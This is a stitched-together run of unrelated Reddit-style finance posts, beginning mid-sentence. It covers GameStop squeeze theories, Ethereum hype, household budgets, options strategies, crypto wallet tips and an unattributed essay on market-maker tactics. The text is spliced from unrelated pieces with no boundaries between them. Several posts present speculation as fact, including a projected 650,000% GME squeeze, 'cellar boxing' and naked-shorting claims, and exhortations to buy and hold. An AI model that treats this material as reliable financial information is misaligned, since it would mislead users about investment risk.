behind it; which isn't something that I can answer tbh. He doesn't believe that turning off the buy button in January 2021 was a bad thing. He said that redditors caused the squeeze in January 2021. + +He thinks dark pools are useful to not 'frighten the market' when insiders sell. When I discussed how unfair this is and how retail investors are at a disadvantage, he was fairly dismissive with his response, essentially siding with a system that only seeks to protect and benefit the elite. When I asked him if something like that angers him, he said he's just happy to get paid well for what he does. (Later on we changed topics and talked about how it's sad that a fun activity place might shut down due to the recession, he just said he was happy to have had fun there and didn't care at all about people's livelihoods - similar vibe, different topic). When asked about fairness, he turned it around and asked if it was fair what redditors did during the January 2021 price movement. + +We didn't talk much about DRS. I said I was excited about it near the start and he didn't know what it was. After he said he didn't believe in naked shorting I went off on that tangent quite a bit... + +A fair point was that he knows about the NFT marketplace and is actually optimistic about future utility of NFTs. He did make a joke that if moass happens to take them all out for dinner and wished me well with my investment. + +Whilst he seems like a nice enough person and I trust my friend's judgement in people, the interaction annoyed me. I'm definitely not the most financially literate person here, but I could tell this is most likely what he truly believes is going on. Whether it's a case that he's informed on all this by his work or MSM I wouldn't know. But he's been in the sector for around 8 years now and has quite a well paid role. + +Make of all this what you will! I remain super bullish about Gamestop. The public, and I'm sure many in finance, have no idea what's going on. +So last year I purchased a home that had two additional units in the back yard. One unit is 2/1 and other is 1/1. All units were previously renovated by the seller and are in great shape. I live upfront in the main house that’s a 2/1. + +I paid 250k for it. I only put 3.5% down and currently financing through an FHA loan. My monthly mortgage is $1810.00... yeah MIP sucks, but we had no other choice at the time, so we went with FHA. + +I’m currently renting the units out for $900 and $725 respectively. I’ve been doing this for 1 full year now, and I must say, it’s probably the best single decision I’ve ever made in my life. I’m living virtually mortgage free, and can use my income towards savings etc. + +I’ve only had my “big boy” job for 2 years. So I have so much to catch up on. I have literally no retirement savings besides about a few thousand in a Roth IRA. I’m 30 years old. + +Salary:50k +Savings: 4K (doubles as emergency savings for my rental units) + +Wife makes 40k +She has no retirement savings either. + +Monthly Bills: +Electricity: $60 +Water: $80 +Gas: $40 +Tenant water: $80 (we pay their water) +Rental home insurance: $62.50 +Car: $700 month (financing 2 used cars) +Car insurance: $250 ( full coverage both cars) +Phone:$122 (two lines) + +How are we currently doing? And what do we need to work on to be in a better place financially? + +Looking at the 12 month chart, this recent parabolic run up is quite astonishing...even a bit overwhelming. I know that it can be seen as a "correction up" with regards to the ratio (that is how I initially felt and am still quite torn), but what is truly driving it and is it sustainable in the short-term? There has been no major technical development, nor have any widely used dapps gone live. Is this run up just a result of public awareness and this new money is expected to continue to flow in over the next weeks/months? Ethereum's potential is as strong as ever, but not necessarily markedly more so in the recent weeks. Even as dapps begin to roll out in the near future, they are still somewhat handcuffed due to current transactional limitations of the blockchain until scaling solutions actually go live, right? Does everyone believe this momentum is sustainable over the next few months until some of the solutions become a reality? + +&nbsp; + + +Please do not see this post as a knock or lack of faith in Ethereum. I have proudly worn my hodler badge since I bought my first few Ethers at $80. I have honestly enjoyed every minute (which admittedly has to be in the tens of thousands) researching and discussing Ethereum, and blockchain tech in general, with my family, friends and all of you lovely people. I believe in Ethereum 100% and truly get the warm fuzzies every time I reflect on its potential and how lucky I am to have bought myself front row tickets to this show 8 months ago. + +&nbsp; + +Please comment and share your opinions/thoughts. This is a wild time in all of our lives and at the end of the day we are a community and more or less share a similar mindset. +This is me just venting about my experience researching Ethereum (and the euphoria which followed), perhaps someone can relate, perhaps this is lost getting in the see of Lambo memes. + + +First off, I'm a 20 year old Computer Science major who was introduced to Ethereum by a friend of mine. At first all I saw was dollar signs, I saw a get rich quick opportunity which I wasn't going to pass up. So I bought the amount of ETH I could afford, knowing little of what it actually was as a technology. + + +I was browsing Reddit as usual and as the usual [r/aww](http://reddit.com/r/aww) post scrolled by I thought of Ethereum and wondered if there was a sub for ETH. Of course there was a sub, there is always a sub. I started reading on [r/ethereum](http://reddit.com/r/ethereum) and read some posts about words I didn't understand; ICOs, dApps, Tokens, etc. The first post which peaked my interest was of course about the current growth, which of course pointed me in the direction of [r/ethtrader](http://reddit.com/r/ethtrader). First thing I thought was that I wasn't a trader at all and it probably wasn't the place for me, but I was interested and I know you have to start somewhere. + + +[r/ethtrader](http://reddit.com/r/ethtrader), the place of Lambo memes, ATH posts, [u/ScienceGuy9489](http://reddit.com/u/ScienceGuy9489), but for me even more the place of a warm community, people who share a vision and passion for the technology (and the dank moon memes, let's be real). + + +I started actually researching the tech and after understanding the use besides a currency as a decentralized world computer, I started researching Solidity and programming Smart Contracts, seeing as I'm a freaking programmer. + + +It is at this point that something clicked in my head. A total paradigm shift happened for me and it is incredible. I knew that privacy at this point in time is mostly a myth and I was sure that the future wasn't any different and most likely more extreme. But Ethereum has changed that, it gives the power back to the people, we decide what happens with our data and where our money goes. No more borders, no more Big Brother, a free and open internet. I believe something like Status will result in mass adoption, adding billions of people in developing countries to this new age of internet and social networking. + + +Ethereum and Status will be the platforms which thrust developing countries into development, catching up with the rest of the world. + + +If all this goes to plan, Vitalik will be known as the father of the 21st century's Digital Renaissance and we'll have a brighter future because of it. + + +I don't know if this euphoria induced word-vomit is coherent at all or if I'm not making any sense and this is just a bullshit unrealistic future which I crafted, but I hope it's not. + + +TL;DR: The decentralized web is coming and it's tight as fuck. +Welcome to the **/r/EthTrader** Daily Discussion thread. The thread guidelines are as follows: +*** + +- Discussion topics include but are not limited to general discussion, details related to events of the day, technical analysis, Ethereum Classic, and minor questions. +- Important content should be posted as a separate thread. +- Be excellent to each other. + +*** + +Thank you in advance for your participation. Enjoy! + +Welcome to the **/r/EthTrader** Daily Discussion thread. The thread guidelines are as follows: +*** + +- Discussion topics include but are not limited to general discussion, details related to events of the day, technical analysis, Ethereum Classic, and minor questions. +- Important content should be posted as a separate thread. +- Be excellent to each other. + +*** + +Thank you in advance for your participation. Enjoy! + +Earlier today Carl stepped down as the top moderator of EthTrader. Carl created this subreddit and spent years working hard making it everything it is today. Because of Carl we have this wonderful space to watch Ethereum grow together. + +The spirit of the subreddit has grown along with our users (and the price of ETH!) over the years, and Carl is in large part to thank for that because he never tried imposing his will onto the subreddit in terms of rules or censorship. I think that's rare for a subreddit leader these days, and so I can't thank Carl enough for creating this awesome place, and for the years of pleasure moding along side you! +Besides scaling and Casper because those have been on the roadmap for years now. + +&#x200B; + +An ETF? Derivatives? Announcements from Fortune 500 companies they are adopting ETH's tech? +**Broader Markets** + +The S&P 500 closed the shortened holiday week at new highs, up about 1.1%, about in line with the 1.1% the options market was pricing. With that, the VIX closed at 17.30, its lowest level in a year. + +**SPY** options are again pricing in about a **1.1%** move in either direction for the upcoming week. That corresponds to about $396.50 to the downside and $405.50 on the upside. + +The expected move from **QQQ** options is about 1.7% for the week and **IWM** about 2.2%. + +&#x200B; + +**In the News** + +**Tesla (TSLA)** reported first quarter vehicle production numbers on Friday while equity markets were closed. Options are pricing in a roughly 6% move for the upcoming week, and about a 12% move for the month of April. The company is due to report earnings the last week of April. + +With the stock near $660, this week's expected move corresponds to about $620 for a bearish consensus and near $700 for bullish. That is much smaller expected moves being priced in TSLA options than what the stock has seen in recent week, both in its options and in its actual moves: + +&#x200B; + +https://i.redd.it/gnj0065fm6r61.gif + +The Archegos story had an effect on both its holdings at the center of the liquidation as well as the financial institutions affected. Below is a comparison of the one month expected moves for two of the stocks at the center of the story, Baidu (about 11%) and VipShop (about 14%). Comparisons like this can be accessed via the free [Options AI expected move calculator:](https://tools.optionsai.com/expected-move/BIDU?compare=VIPS) + +&#x200B; + +https://preview.redd.it/damo27xpm6r61.png?width=556&format=png&auto=webp&s=4218e97e124f0f3bc317606a50804637281f81ef + +**Earnings This Week (light) and a look ahead** + +Earnings season picks up in earnest the second week of April, beginning with some of the large financial institutions like **JP Morgan** and **Wells Fargo**. The latter part of the month features some of the largest tech names including **Netflix**, **Apple**, **Tesla**, **Amazon** and **Facebook**. + +Here's an example of April 20th, with both **Netflix** and **Snap** (unconfirmed): [April 20th](https://tools.optionsai.com/earnings-calendar/2021-04-19?day=2021-04-20) + +The calendar is pricing in expected moves in the weeks leading up to those earnings in late April so as the confirmed dates approach the options will begin to isolate the events themselves more and more. + +This Week: + +[PAYX](http://tools.optionsai.com/earnings/BNTX) / Expected Move by April 16th: 4% / Recent moves: -2%, -2.5%, -5% + +[CAG](https://tools.optionsai.com/earnings/LULU) / Expected Move This Week: 4% / Recent moves: -5%, 0%, +4% + +[STZ](https://tools.optionsai.com/earnings/STZ) / Expected Move This Week: 4% / Recent moves: +2%, -3%, +6% + +[LEVI](https://tools.optionsai.com/earnings/LEVI) / Expected Move by April 16th: 7.5% / Recent moves: +5%, -8%, +9% + +&#x200B; + +Let me know of anything else on your radar in the comments. This week is light on earnings but everything changes next week and by the end of April it will be a full-on onslaught. +Long story short I'm looking at moving after FIRE, and paying significantly more than I'll get from selling my current house. + +I could sell a bunch of investments but the tax hit may be nasty. + +What are my options for a loan in this situation? I could probably do 40% down with little tax consequences if needed. +I want to start my first wheel, I’m very bullish on F at these prices, and figured it would be a good wheel to start out with and practice on so-to-speak. When I went to go look at selling a cash secured put on F, the premium is under $20 for the strike I was looking at for an entry. + +I just wanted to know if maybe I picked a bad stock to wheel, or if I should just embrace that slow and steady grind of small premiums while I’m small fish. Long time lurker, very excited to wheel! +So after a good run selling Puts on hospitality industry and calls for zoom, looks like the shit is going to hit the fan with the omicron variant... I think the current instruments are too limited and very biased (against me, whatever side I am on)... I am going to make my own instrument with blackjack and hookers... + +Hypothetically how hard is it to make your own financial instrument and deal with a bank? + +&#x200B; + +Edit: I think there is an opportunity here... As mentioned by many here, the big firms wouldn't pick my calls unless I have plenty of zeros in my accounts, also being a degenerate gambler I want to bet my money on new exotic stuff (which hasn't been invented yet)... This is a supply and demand issue, I propose to make a "bank" (or a bookkeeping institution) that would allow me to place as diverse bets as I can handle on as diverse instruments as I can come up with payouts depending on the exposure risks... + +&#x200B; +You should just be running a jade lizard. Change my mind. + +1. If you get assigned the premium from the call credit spread lowers your cost basis. +2. Keeps your deltas (somewhat) in check +3. If it blows past your credit spread its still profitable, if you’ve set it up right. +4. You can still easily defend the short put by rolling if needed and get max credit on the credit spread to offset any losses. But lets assume youre ok with assignment +What's the meaning of Confidential when the info is out in the public? + +[https://www.bloomberg.com/news/articles/2020-06-09/cloud-data-firm-snowflake-said-to-confidentially-file-for-ipo](https://www.bloomberg.com/news/articles/2020-06-09/cloud-data-firm-snowflake-said-to-confidentially-file-for-ipo) +A little backstory, I moved to Canada at the age of 10. I spent the majority of my life there (25 now). I decided in November to take advantage of my US citizenship and move to California to explore new career opportunities. I found a great job and have been working there for almost two months. + +HR Department called me into their office today and handed me an **Income Withholding Notice** claiming I owe a shitload of money from the year 1999. I thought it must be a mistake as I was 3 years old at the time. + +Apparently, it's not. I owe thousands of dollars of income taxes from when I was a toddler. The money is simply being deducted from my paycheck. Legally, there's nothing the company can do for me. + +I called the Tax bureau and got it extended for 30 days before I have to start paying for it. It appears to be capital gains tax from my absent father. + +Does anyone know if there's any way I can dispute this? I want to file identity fraud but I'm worried that it might affect my mother whom I have a great relationship with. I would ask my father to make amends for this but he's been in prison since 2002. + +Any advice would be great. It's a pretty substantial amount of money. I honestly can't believe this is even possible. + +Edit: Will definitely be contacting an attorney. Thank you all for the help and support +https://finance.yahoo.com/news/why-twitter-twtr-stock-sinking-171405399.html + +“The research firm suggested that the Senate would be particularly interested in learning that Twitter is reportedly on track to generate about $400 million this year by selling user data. + +Citron also pointed out that Twitter’s data licensing revenue in 2017 was $333 million, and with the firm assuming 100% margin in this segment, it argued that the sale of user data likely accounted for about 80% of the company’s total profits last year.” +Wondering because I've heard of a few folks that have started biomedical degrees in their 20's, couldn't get a job. So went back and got Masters degree. Still couldn't get a job. + +Went back and then did medical degree and ended up graduating in their mid-30's. + +Will they catch up and grow their superannuation/savings/money flow, even though they've hardly worked (maybe a year or two) full-time in the workforce? + +Just curious that's all. Seems like chasing a dream that never happens. +#EDIT WELL THIS ESCALATED FAST https://www.reddit.com/r/Superstonk/comments/q72aje/hey_member_that_whole_cellar_boxing_thing_and/ + +#749,000% GAINZ LETS GO! CELLAR BOX GME? STELLAR BOX MMS! ENJOY THE RIDE ASSHOLES! + +It's wild that anti GME subs even exist. If popcorn had not squeezed a second time, then I may be inclined to respect anyone who may say, "GME already squoze, you lost." but the fact that popcorn squeezed TWICE, HARDER AND STILL HASN'T FALLEN should really speak to anyone who even suspects wallstreet corruption. + +Popcorn's chart is beautiful and it's especially beautiful when you scroll before 5/21 and compare it to present day & 5/21 GME. You can actually just look at the GME chart and tell that it is exponentially greater than popcorn. You can actually see both charts being actively cellar box'd and you can see the point where retail noticed on GME. Retail never noticed on popcorn. The two charts show you that popcorn was a by product of GME. Are they both naked shorted well beyond their float? Absolutely. The buy pressure from 9/1/2020 leading up to January on GME is much stronger and likely lead to why GME sneezed so hard the first time but it did not fully squeeze just like popcorn didn't fully squeeze. It's my belief that popcorn will indeed reach a **18,000%** squeeze similar to GME and I'll explain why and I'll explain why GME can squeeze exponentially harder than **18,000%** + +#January + +* Popcorn sneezed 1065% from its all time low (1.91$) to 20.36$ +* **GME sneezed 18,793% from its all time low (2.57$) to 483$** (Remember that %age for later) + +# May + +* Popcorn sneezed 3800% from its all time low (1.91$) to 72.62$ +* GME??? Where GME??? (It's because if GME were to sneeze again it would cause the MOASS) + +#Today + +So popcorn sneezed 3800% and GME sneezed 18,793% and people wonder why popcorn isn't higher? Well it will be. I suspect popcorn will hit a 18,000% sneeze before GME MOASS occurs. Why? + +#GLCO 7/31/01 + +* Squeezed from 0.02¢ to 3.5$ a gain of 17,500% + +What's GLCO? Why do I care about GLCO? GLCO was quite possibly one of the very first cellar box cases in the financial world. In 2005 they issued a 1:350 reverse stock split which means **for every 350 shares you own you now have 1 share** this reduced their share count down to 1,100,000 shares yet the very same day 143,000,000 shares traded hands. The float was traded **130x** in one day. For reference, GME has traded **66x** since January. For further reference, AMZN has a float of 454m and an AVG volume of 3.1m a day. That means, AMZN trades its float once every 146 days on average. + +A reverse stock split should increase a stock's price (think if you had 5 POGs and each one cost 1$ and then you did a 1:5 reverse split well now that 1 POG is worth 5 so the price should now be 5$) but in GLCO's case it fell from 10¢ to under 1¢. That doesn't make any sense. The stock continued to fall all the way down to 0.0001¢ (sound familiar cellar box?) until something amazing happened on 1/31/08. I cannot find the cause of the increased volume, but I suspect it has to do with the 2008 financial crisis and how wallstreet insiders probably knew of it well before it occurred later in September that year. + +#GLCO 1/31/08 + +GLCO squeezed **650,000%** from its cellar of 0.0001¢ to 0.65¢ That sounds like a lot so let me give you an example. If you invested 100$ into this stock at 0.0001¢ you'd receive 1,000,000 shares. When it squeezed **650,000** those 1,000,000 shares would now be worth 650,000$ You turned 100$ into 650,000$ + +It was later discovered that GLCO was naked short sold almost 27x its float by the discovery of 27,000,000 FTDs on a 1,100,000 float. That was *just* the information that got discovered. Who knows how much it was really NSS'd? We do know one thing about GLCO, though. GLCO did not have apes. GLCO didn't have apes who believed in it and had no issue going toe to toe with wallstreeet. Meme stocks have apes. + +#Summary + +So we know that just based on some "oops" FTDs that got leaked, GLCO was NSS'd at least 27x its entire float. We also know that GLCO was effectively cellar boxed in at 0.0001. GLCO continues to make gigantic squeezes during financial crisis. During the COVID19 crash, GLCO squeezed another 4333% from 0.0003 to 0.013. The world will never know exactly how many naked shorts were sold against GLCO but a 650,000% squeeze would assume it was a lot. Knowing the game of cellar boxing gives the player the advantage of knowing that to effectively cellar box a company, it must be naked shorted into oblivion. People see 18,000% gains and think that means something when it comes to a stock actively being cellar boxed. 18,000% is only 2.7% of 650,000%. + +* If GME were to squeeze 650,000% today, the share price would be worth 1,150,677$ a share. + +The reason people say the price doesn't matter is because it doesn't. The naked short sellers cannot close. We're not waiting for them to. We're waiting for a third party intervention. DTCC has allowed cellar boxing for 20years because the consequences of a stock trading at 0.0001¢ squeezing 650,000% are a lot easier to handle than a stock trading at 177$ + +#Closing + +This is why it's wild that anti GME subs even exist. If you point someone to cellar boxing DD, show them countless examples of companies being naked sold short into bankruptcy after having just read the cellar boxing DD then I'm not sure how they could honestly refute that. While popcorn has diluted their float, I think it has effectively killed the MOASS idea there. Remember, GLCO shrank their float and their stock still went down; Popcorn added **more** to the float effectively making the situation better for the naked short sellers. I believe Popcorn will continue to go up, but as Burry has said, there can never be another GME. GME's small float, new leadership, zero debt and apes holding have created the MOASS. When I read /u/thabat 's DD on cellar boxing, it was a the most jaw dropping realization for me, ever. It was essentially the equivalent of casting Sense on your enemy in a Final Fantasy game and being told their weakness. It may possibly turn out to be the most important part in my life. We'll see. +Hi, I am struggling to find the annualized returns % for the stock AMZN over 10 years. The price was $137 on 05/03/2010 and it is $2270 on 05/03/2020. Is there an easy way to calculate the 10 year annualized return so I can compare it to ETFs ? +"Market Maker Speaks Out: "Ways of a Market Maker" + +Market Maker Speaks Out: Ways of a Market Maker +10:08 PM Learn, Story + +I was an OTC MM for about 10 years ending in the late 80's. Since then I have been strictly an investor. Since I have not been that up to date in MM rules I will only make statements that I feel fairly confident are still accurate regarding these activities. By and large most MM don't have a clue nor do they care to learn, about the fundamentals of the stocks they trade. + +They just try to make orderly markets. When dealing with BB stocks it is very easy for a MM to get trapped into being short in dealing in a fast moving market. Reason being; most of the MM's in this stock are what are called "wholesalers" this means they don't have retail brokers "working" the stocks. + +So they have to rely on what's known as the "call" from larger retail houses. If a "Big" retail firm like an E-trade calls up a market maker to purchase say 5,000 shares of a stock, they expect to get an "execution" from that market maker. If he turns them down, or only gives a partial then the "Big" firm will go to another MM. + +If this second MM "fills the order" then that "Big" firm has a moral obligation to continue to give future "business" in that stock to that MM who performed (his life blood). This will go on until he "fails" to perform and so on. + +Contrary to popular opinion the "Big" firms Do NOT neccessarily go to the "Low Offer" to fill a buy order (Or high bid for a sell). They "Go" to who they think will perform to fill the order and expect that MM to "match" the "low offer" in the case of a buy (bid in the case of a sell). Even though this MM might in fact be the "high bid" and not really want to sell any more. + +As a wholesaler he must perform or he will get a reputation as a "non-performer" with the "Big" houses and will cease getting "calls" which means he will soon go out of business. I mentioned above that this activity is very significant to BB stocks. I say this because most of the trades in these BB stocks are "unsolicited" and are done through discount houses. + +With the above groundwork laid, let me try to explain how market makers get short even if they like the Company; Lets say that a stock (shell) has been lying quietly at $.25 bid $.50 offered. A limit order comes into one of the MM's to Buy at $.50 for a thousand shares. Prior to this trade that MM may be "flat" (neither long or short any shares). He fills the order and is now short 1,000 shares. He may raise his bid hoping to find a seller to "flatten" out his position. But before he realizes it a wave of buyers have come in and cleared out all the $.50 offers. Now the stock is $.50 bid .75 offered. Here comes that "Big" firm he just sold the 1,000 shares to at .50 with another bid for 1000 at .75. He makes this print. Now he is short 2,000 at an average of .625. The market keeps moving and now its .75 bid 1.00 offered. Now he has to make a decision. + +Just like investors, MM Hate to take a loss. So 9 times out of 10 he will now sell 2000 at 1.00 making him short 4000 but with an average .81. At this time he would love to see a seller at .75 so he can cover his short and make a few bucks. + +But instead the market keeps moving up. Now it is 1.00 to 1.25 and here comes the buyer again at 1.25. He doesn't want to lose the call so now he needs to sell 4,000 at 1.25 to keep his break even point above the bid. Now he is short 8,000. Market moves up to 1.25 bid 1.50 offer here comes the buyer now he feels he must sell 8000 here because "stocks don't go up forever". + +Now he is short 16,000. And so on and so on. If the stock keeps moving up, before he realizes it he could be short 50k or 100k shares (depending how big his bank is). _________________________ + +Finally the market closes for the day and on paper he may look all right in that his "break even" price may be around the closing price. But now he has to figure out how to entice sellers so he can cover this short. It is important to note that if this happened to one MM it has probably happened to most all of them. + +Some ways MM's entice sellers; Run the stock up with a "tight spread" in a fast market, then "open" up the spread to slow down the buying interest. After it has "cooled off" for a little while lower the offer below the last trade right after a small piece trades on the offer then tighten the spread so that the sellers feel they can take a "quick profit" by "hitting the bid" on the tight spread. + +Once the selling starts the MM's will walk it down quickly by only making small prints on the way down with the tight spread. Another way is by running the stock up in the morning, averaging up their short then use the above technique to walk it down in the afternoon. + +Hopefully after doing this for several days, it will demoralize the buyers. The volume will dry up and the sellers will materialize thinking that the game is over. + +Contrary to popular opinion, MM usually Do Not Cover in Fast moving markets either Up or Down if they are short. They Short More. They usually try to cover after the frenzy is out of the market. There are many other techniques they use but the above are the most popular. + +This technique works about 9 times out of 10 particularly in a BB market. However that is because 9 out of 10 BB stocks are BS. Remember what I said above. Most MM's don't have a clue as to the value of a Company until they get trapped. If the Company has solid fundementals and a bright future. Then the stock will do very well. And the activity that caused the situation will prove to even help the future stock activity because it created an audience." + +Market Maker's Operating Procedure + + +The savvy long-term investors never chase stocks up. For the most part that is momentum players and daytraders where most of it or what follows is dumb money. Instead the long-term investors use a couple of simple strategies in order to position themselves. One is to find a stock no one immediately sees has huge potential and accumulate. Long-term investors are not interested in trading against the public mind or the dumb money. That's where the majority of the money can be made but even more can be made if the base of a stock is held extremely strong by investors. However the second is not to doubt the research which is the underlying basis for going long and holding. + + +More and more investors are winning the game nowadays despite all bashers that float through the Internet that has become part of the game. Floor traders of market makers often watch CNBC, news wires and bulletin boards in order to follow the market during trading session. OTC BB market makers (MMs) don't use fundamental and technical analysis. However, what they do realize is a lot of dumb money does use this newest nitch charting or TA (Technical Analysis) to run a stock either up or down. To the MMs this is like taking candy from a baby. Simply they will paint the tape and use whatever tactic to affect the charting bands. Thus the public and dumb money they will have eating out of their hands. Effectively the MMs can show a strong stock growing weak by manipulating the close price in order to generate selling volume, delaying trading time to manipulate trading activities, or even stalling the ask without honoring orders to hold a stock price. + +MMs follow a simple code of business when making a market in a stock especially an OTC BB. That is the level that stocks will seek that yields the most volume. Now this is very important because they make money on the volume buying at the bid and selling at the ask. In other words, by making the market they are buying low and selling high. Now smart money adheres to that rule, so do all the market makers. They could careless whether the stock is at $83 or at $0.23. All they care about is the action thus being able to sell stock at the offer (The high) and buy stock at the bid (The low). To increase their profitability, they make the spread as great as possible on as many shares as they can especially if the volume falls off. + +When they have mostly all "buy" orders, that's not the price that's going to yield the most volume. They need both buy and sells to get the maximum action. Remember, MMs play the volume. If the volume decreases and there are mostly Buys that become a one way volume, Buy volume. So what they do is let the stock run up to a price where it runs out of steam. They fill all the buy orders there that they can and then comes the pullback one way or another naturally or induced. During the pull back they can buy tons of shares and flip them to those averaging down or trying to catch the bounce. At some price, the stock will be relatively stable and yield the most volume. Now that is the average price you will see + + +The average price is the point where a stock seeks a level where MMs can profit on the most volume. So during the day that is the price that MMs and momentum/day traders want to see the stock at. Why? Because they know the public and dumb money was chasing the price thing up. Most of the time, the MMs love a flurry of Market Orders which is a dead sign of an artificial run or momentum. Merely it is money in the bank for them. Most get hung in a momentum or day trade or by the tactics of Market makers, who are in the business to screw the public every chance they get and the NASD is not going to do anything about it. They are merely making the market liquid is there reasoning. + + +The market makers have created an added complication to the OTCBB's chaos of the already volatile intra-day price movements created by dumb money, momentum and day-traders. MMs can not relate to long-term holders in the OTC BB. That makes absolutely no sense what so ever. They feel a large percentage of trades in the OTC BB market consist of short-term or day-trades, MMs merely view the barrage of buy and sell orders as relatively neutral to the market. How they figure it is when the average dumb money buys shares in a company, the MMs feel or rather know with some certainty it is very likely that dumb money will want to sell back those shares relatively quick on the slightest drop. + +Now somewhat comfortable with this logic the MMs merely short sells into the buying and attempts to take the stock down in an effort to "shake out" the weak. Since it is tough to know for sure whether a move is the beginning of a trend, or a routine shake out, this type of deception works quite well for the MMs. What the long-termers do to a stock is surprise the MMs because instead of falling the shorting has no effect and the price goes up. Now that puts the MM at selling low through shorting and thus having to buy high in order to cover. + + +Boy, when this happens, the MMs are not very happy campers. The investors and traders are supposed to be doing that no them. Now it becomes time to pull out every trick and tactic in the book in order to attempt to get a Bear Raid at every dollar mark or percent from where the stock started. Could be a penny in smaller priced securities? What MMs do is give you a chance to make a small amount of money for your momentum and day trading style by shorting it at these levels and trying to get a bear raid each time. Each failure is compounding the MMs short position so they let it go to the next level. Now come more deliberate tactics MMs use to coerce Bear Raid or panic selling. + +Once the MM is caught short and the strength of the buy is overpowering the MM will want to cover his short position. So the MMs call up one of his friendly MMs and says some like "the weather is sure rough today." The MM along with the other "friendly MM initiates a down tick about the same time. Now this can also be done with a certain amount of shares such as an infamous 100 shares flag. This down tick gives the illusion of weakness designed to hopefully begin the bear raid of selling. The fickle, fearful, day trader, momentum and short term begin to sell out allowing the MM to cover his short position at lower prices. They will move it down quickly to get it to a price of least financial damage. Problem they have is long-term investors in the OTC BB. They start accumulating and buying comes flying in when they take it too far thus the MMs took it to the point of volume again and not only investors the other MMs step in the make money on the spread. + + +Alas the poor MM does not get to cover. Now comes various tactics like stalling, boxing, or even locking the Bid and Ask for a while. + +Of course, MMs aggressively deny any sort of collusion designed to fix quotes or spreads, but a recent SEC investigation tells another story. + +MMs have a vast resource of tactics and it would take probably more than my lifetime to figure them all out. + +So how do investors somehow manage to overcome the obvious deception in OTCBB arena? One answer is indirection trading style by going long which the MMs do not expect. In the war between investors and public companies on the OTC BB vs the MMs, if the MMs have all the advantages due to position or other factors, direct confrontation such as momentum or day trading hitting the stock is a definite death sentence. + +However, an indirect approach tends to weaken the path of least resistance before slowly overcoming it. The most effective way is long-term investors slowly accumulating and holding thus drawing the MMs out of its defenses making them as naked as their short position. This is war so this slow accumulation and holding for the long term easily achieves the desired effect to force MMs to cover and knock off the tactics or bury themselves deeper. + +The MMs when caught will especially use every trick and tactic in the book to get a Bear Raid thus playing on the individual fear of most people. The MMs feel they have information and position advantages over the investors as long as the holding of the stock is in weak hands or short term holders. Since they are OTC BB MMs who believe all OTCBB companies are not worth investing and management is ineffective regardless what is happening within the company.Furthermore, MMs know they are in the position to impose a great deal of influence in OTC BB stocks trading when it suits their needs. + + +This inherent power of position enables the MMs to move the markets at any time up or down. As a result, the only way to draw them out of their favorable position is going long. Now this does not mean just any company but to effectively nail the MMs, Longs must find the great company on the floor and accumulate long before the MM tactics and games begin. + +"Market Maker Speaks Out: "Ways of a Market Maker" +Author: Unknown +Mcafee drama : +https://twitter.com/XVGWhale/status/947163696656154625 +https://www.reddit.com/r/vergecurrency/comments/7n2xyv/john_mcafee_asked_for_11_million_to_support_verge/ + +insane !! + +I’m getting really stressed about my credit card balance but my wife isn’t, I don’t know if im being unreasonable or she’s being too nonchalant. Im just curious as to when other people start to worry about their credit cards. + +For context my wife and I had about 1500 each on our credit cards. For ease I wanted them in one account so I paid hers off and ran mine up to the same amount so the full 3k was on mine. I then got it down to 2k but we recently bought a new house which we’ve had to decorate, then some things went wrong with the car and it’s now up to 4k. I earn 50k - 3100 a month after tax and she earns about 700. I can only afford to pay about 200 a month off at the minute and I feel like it’s quite a lot to owe. We also have a 13k car on finance and owe 255k on our mortgage. + +I’ve tried to read up about average debt but the numbers are hard to look into because I’m not sure if it includes mortgages, car loans, student loans etc. +During the whole FTX debacle, I've watched normies asking how can they take their corn out of exchanges and the most common answers were "easy, just buy a ledger and transfer them there". + +That is not the most useful advice for several reasons: + +* it might take weeks for their ledger to arrive, it can be already too late +* in this scenarios, people are scared and fragile, they will most likely make a huge mistake in the rush of the moment (buy from a 3rd party because it's cheaper/faster, storing the seed in their computer, etc) +* using a hardware wallet is confusing and magical for normies, most of them will not heed that advice if they are scared of loosing their funds. Most people don't even understand what they are, they think their bitcoin is stored there, they don't understand it's just a transaction signing device. + +There is a much simpler message to broadcast: install bluewallet on your phone, transfer your funds there, worry about getting it to cold storage later after researching the topic with more time. + +As things stand right now, a hotwallet from a foss app on your phone is infinitely more secure than an exchange. Modern phones are actually extremely well hardened security wise, much better than PCs. + + +Doing the above is orders of magnitude easier and simpler than going from a CEX to cold storage on a whim. + +1. Install bluewallet +2. Write down your seed in 2 pieces of paper. +3. Generate a receiving address. +4. Profit +5. Learn more and get deeper into the rabbit hole. +Hi, so my parents want to add me to their mortgage.I myself is looking to get a mortgage in 4 years time. What are the implications. Their concern is that should something happen to them I would loose the house. + +Edit: I live with my parents but they are just concerned about the bank taking the house and living me homeless. I suggested we see a financial adviser because am not sure what the implications are for me. +It's difficult to track GME's short numbers, but with EVERY AMC DROP, the available shorts for AMC would decrease. I have been monitoring this all day via [https://iborrowdesk.com/report/AMC](https://iborrowdesk.com/report/AMC).The numbers would fluctuate depending on the price. I am confident this is the case for GME as well, since they literally move in sync with eachother. + +I added to my positions in both and I am not selling. The gamma squeeze potential for both AMC and GME is monumental and they are doing everything in their power to stop us. + +Do not let them win. Do not fall for the tricks, smoke and mirrors. Do not fall for all the FUD accounts and tweets. Buy and hold. Today and tomorrow are super important to us. + + +Edit: Goes without saying. Them doing this just makes the eventual squeeze that much harder. +So I've decided I want to start day trading, total noob to this. Are there any traders on YouTube that are actually good/trustworthy to watch and learn from? where do I start? Think or swim, tradovate for paper trading? Is there a class I can take on this or someone to take advice from? +Long story short, I had a shit load of debt I preferred to ignore. + +They came after me, I did nothing. + +Eventually I was garnished by court order and the debts were paid off a year ago. + +I had a car loan with an obscene interest rate that I recently paid off (well, insurance did, it got totaled). + +Now I've been getting these offers from Capital One...I have no current lines of credit at all. The only debt I'm still paying off are student loans. + +Should I get a card to have an active line of credit (that I'll barely touch because I don't want to get into the same mess Past Me did)? + + +Edit: Wew, I did not expect this thread to blow up like this. Thank you everyone for your advice. I've double-checked the letters and 2 were from Capital One, and 1 was from Credit One. + +The terms of Credit One's are like what someone else mentioned earlier, interest beginning charge from the posting date of any purchase, immediate $75 charge when opened, etc. I'll be avoiding that one. + +I've applied to Capital One and was approved with a line far bigger than what I was expecting for someone in my situation. I know I have to be careful. My road to recovery begins. +Long story short, it's nothing like advertised and I'm looking for a refund. My recommendation, save your money, just use the OA free learning resources. The "backtester" tells you nothing you wouldn't already know by looking at probability of expiring ITM/OTM on your option chain. + +I wanted to verify the viability of some of the strategies I've been using to collect premium for the past few months(mostly selling Iron condors on various ETFs which has been going well). It's nothing revolutionary or new, I'm just selling 